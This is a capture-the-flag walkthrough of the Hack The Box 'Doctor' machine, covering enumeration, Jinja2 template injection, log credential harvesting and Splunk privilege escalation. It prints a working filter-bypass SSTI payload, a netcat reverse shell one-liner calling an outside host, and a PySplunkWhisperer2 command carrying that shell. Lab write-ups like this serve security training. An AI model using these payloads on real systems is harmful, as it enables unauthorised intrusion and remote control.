Doctor

  

 Initial Enumeration

Port scan on all ports revealed 3 open TCP ports. HTTP, SSH and Splunkd.

 

 

After configuring Firefox to send traffic through burp suite, navigating to the site give us a webpage for a doctors surgery.

 

Nikto scan did not reveal anything out of the ordinary. Some browseable directories but nothing in them of any value(css,images).

Next I kicked off a directory bust with ffuf using the wordlist: directory-list-2.3-small.txt found in seclists wordlist archive. I find for initial dirbusting this list does a good job. 

ffuf -w ../directory-list-2.3-small.txt:FUZZ -u http://10.10.10.209/FUZZ 

While ffuf is running I then proceeded to manually explore the website further, noting down anything interesting.

 One thing that popped out was a domain name and email address. info@doctors.htb

 

I added the domain to my hosts file to check if this is a VHOST and it is, allowing me to access a messages section of the website:

Re-enumerating the VHOST. Scanning for further VHOSTS found nothing. Checking the source code of the messages page found an interesting comment:

<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

Browsing to the archive folder just showed a blank page which is odd. Checking the source code found some xml. Could this xml be being used to log something?

<?xml version="1.0" encoding="UTF-8" ?>
	<rss version="2.0">
	<channel>
 	<title>Archive</title>

 Creating an account on the message page allowed me to create messages.

 

 

 

 

Changing the URL to http://doctors.htb/user/admin took me to admin messages but there was nothing of value there. Fuzzing for further usernames also did not reveal anything. Before fuzzing anymore parameter I decided to check the archive page and see if the xml updated due to the new message and it did.

Noted down to look for XXE vulnerabilities after more enumeration. No results from ffuf so I decided to move on from the website for a bit and check out the Splunk page.

Trying to access any of the links just popped up a basic auth login screen

Trying default splunk credentials of admin:changeme did not work so I kicked off a brute force attack on the page with username admin and had no success with several wordlists. 

A quick searchsploit check for splunk showed a potential RCE for authenticated users. Noted down for when I find a username and password. Every other result was for a version lower than 8.0.5.

Discovering the vulnerability

Going back to the messages website to try XXE had me stuck for a long time(Rabbit holed doh!). I could get some XML onto the site but couldn't get any code execution. It was the next day that I decided to look further into potential injection techniques. I used PortSwiggers academy to skim through techniques and find anything to do with injection and RCE. A technique I had not heard of called SSTI or Server Side Template Injection stood out after looking through this article:

https://portswigger.net/research/server-side-template-injection

 

"Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection, a frequently critical vulnerability that is extremely easy to mistake for Cross-Site Scripting (XSS), or miss entirely. Unlike XSS, Template Injection can be used to directly attack web servers' internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point."

 

I Headed over to PortSwigger academy to take the SSTI module and began testing the messages page as I learnt. 

https://portswigger.net/web-security/server-side-template-injection

 "As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try fuzzing the template by injecting a sequence of special characters commonly used in template expressions, such as ${{<%[%'"}}%\. If an exception is raised, this indicates that the injected template syntax is potentially being interpreted by the server in some way. This is one sign that a vulnerability to server-side template injection may exist." 

Using this testing technique caused the archives page to error indicating that the page is vulnerable to SSTI.

 

 

 

SSTI to Reverse Shell

With confirmation of SSTI vulerability I enumerated the template engine using a payload of {{7*'7'}}. According to PortSwigger if the result returns 49 the engine is Twig however it the result returns 7777777 the template engine is Jinja2. 

 

Confirmation of Jinja2

 

 

I then headed over to Payload All the Things to find a suitable SSTI payload for Jinja2. 

Trying a couple of payloads I found that the syntax is being filtered out so moved onto trying filter bypass payloads and managed to get RCE using this one:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

 All thats left to do to gain a shell is replace "id" with some reverse shell code.

The shell I used is this one as it seems to have a high success rate. It is my go to when finding a RCE vulnerability:

 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 9999 >/tmp/f

 Final injection code:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 8000 >/tmp/f')|attr('read')()}}

 

 

 Gaining User Account Access

 As you can see we are logged in as web and not a normal user. Checking the home directory and /etc/passwd file shows user "shaun" on the system. Trying to cat out the user.txt results in permission denied and checking the file permission shows that shaun is the only user allowed to read it.

Proceeding though standard low hanging fruit enumeration (history, sudo privs, SUID files etc) reveals that the current user is a member of adm group. This group allows for reading of log files in /var/log. Before enumerating the splunk logs for login credentials I decided to run a recursive search through all of the var/logs directory and grep out "shaun", "username", "password", "pass","passwd", "user" and any other variants.

A neat trick to color code the keyword:
grep -r --color=auto --color=always "password" *

The very first result delivered an interesting result:

Trying to switch to user Shaun with password Guitar123 worked and we have the user account.

 

 

Priveledge escalation via Splunk 

After grabbing the user flag the first thing I did was try the same login on the splunk page and it logged me in.

Having now found a valid splunk login I researched the vulnerability I enumerated earlier and found this page detailing how splunk can be used to execute code remotely.

https://book.hacktricks.xyz/linux-unix/privilege-escalation/splunk-lpe-and-persistence

 "An attacker with a Splunk Universal Forward Agent password can fully compromise all Splunk hosts in the network and gain SYSTEM or root level permissions on each host."

The guide walksthough how to use a python tool called PySplunkWhisper2 to execute code provided you have credentials.

Before using PySplunkWhisper2 I did a quick check to see who splunk was running under.

 

 Gaining a shell using PySplunkWhisper2:

 python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username shaun --password "Guitar123" --payload "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 9999 >/tmp/f" --lhost 10.10.14.10